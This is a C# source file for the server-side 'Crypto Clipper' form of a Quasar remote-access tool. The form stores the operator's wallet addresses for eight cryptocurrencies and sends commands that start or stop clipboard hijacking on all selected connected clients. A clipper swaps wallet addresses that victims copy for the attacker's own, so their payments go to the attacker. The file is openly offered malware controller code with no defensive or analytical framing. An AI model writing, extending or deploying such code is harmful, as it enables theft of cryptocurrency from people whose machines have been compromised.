using Quasar.Common.Messages;
using Quasar.Server.Forms.DarkMode;
using Quasar.Server.Models;
using Quasar.Server.Networking;
using Quasar.Server.Forms.DarkMode;
using Quasar.Server.Models;
using Quasar.Server.Utilities;
using System;
using System.Collections.Generic;
using System.Windows.Forms;

namespace Quasar.Server.Forms
{
    public partial class FrmClipper : Form
    {
        private readonly Client[] _clients;

        public FrmClipper(Client[] clients)
        {
            _clients = clients;
            InitializeComponent();
        }

        private void FrmClipper_Load(object sender, EventArgs e)
        {
            if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); }
            ThemeManager.ApplyThemeToNewForm(this);
            this.Text = $"Crypto Clipper - {_clients.Length} Client(s)";
            
            // Load saved wallet addresses
            txtBTC.Text = Properties.Settings.Default.ClipperBTC;
            txtLTC.Text = Properties.Settings.Default.ClipperLTC;
            txtETH.Text = Properties.Settings.Default.ClipperETH;
            txtXMR.Text = Properties.Settings.Default.ClipperXMR;
            txtSOL.Text = Properties.Settings.Default.ClipperSOL;
            txtXRP.Text = Properties.Settings.Default.ClipperXRP;
            txtTRX.Text = Properties.Settings.Default.ClipperTRX;
            txtBCH.Text = Properties.Settings.Default.ClipperBCH;
        }

        private void btnStart_Click(object sender, EventArgs e)
        {
            var walletAddresses = new Dictionary<string, string>();
            
            if (!string.IsNullOrWhiteSpace(txtBTC.Text))
                walletAddresses["BTC"] = txtBTC.Text.Trim();
            if (!string.IsNullOrWhiteSpace(txtLTC.Text))
                walletAddresses["LTC"] = txtLTC.Text.Trim();
            if (!string.IsNullOrWhiteSpace(txtETH.Text))
                walletAddresses["ETH"] = txtETH.Text.Trim();
            if (!string.IsNullOrWhiteSpace(txtXMR.Text))
                walletAddresses["XMR"] = txtXMR.Text.Trim();
            if (!string.IsNullOrWhiteSpace(txtSOL.Text))
                walletAddresses["SOL"] = txtSOL.Text.Trim();
            if (!string.IsNullOrWhiteSpace(txtXRP.Text))
                walletAddresses["XRP"] = txtXRP.Text.Trim();
            if (!string.IsNullOrWhiteSpace(txtTRX.Text))
                walletAddresses["TRX"] = txtTRX.Text.Trim();
            if (!string.IsNullOrWhiteSpace(txtBCH.Text))
                walletAddresses["BCH"] = txtBCH.Text.Trim();

            if (walletAddresses.Count == 0)
            {
                MessageBox.Show("Please enter at least one wallet address.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                return;
            }

            // Save wallet addresses
            Properties.Settings.Default.ClipperBTC = txtBTC.Text.Trim();
            Properties.Settings.Default.ClipperLTC = txtLTC.Text.Trim();
            Properties.Settings.Default.ClipperETH = txtETH.Text.Trim();
            Properties.Settings.Default.ClipperXMR = txtXMR.Text.Trim();
            Properties.Settings.Default.ClipperSOL = txtSOL.Text.Trim();
            Properties.Settings.Default.ClipperXRP = txtXRP.Text.Trim();
            Properties.Settings.Default.ClipperTRX = txtTRX.Text.Trim();
            Properties.Settings.Default.ClipperBCH = txtBCH.Text.Trim();
            Properties.Settings.Default.Save();

            foreach (Client client in _clients)
            {
                client.Send(new DoStartClipper { WalletAddresses = walletAddresses });
            }

            MessageBox.Show($"Clipper started on {_clients.Length} client(s).", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
            this.Close();
        }

        private void btnStop_Click(object sender, EventArgs e)
        {
            foreach (Client client in _clients)
            {
                client.Send(new DoStopClipper());
            }

            MessageBox.Show($"Clipper stopped on {_clients.Length} client(s).", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
            this.Close();
        }

        private void btnCancel_Click(object sender, EventArgs e)
        {
            this.Close();
        }
    }
}
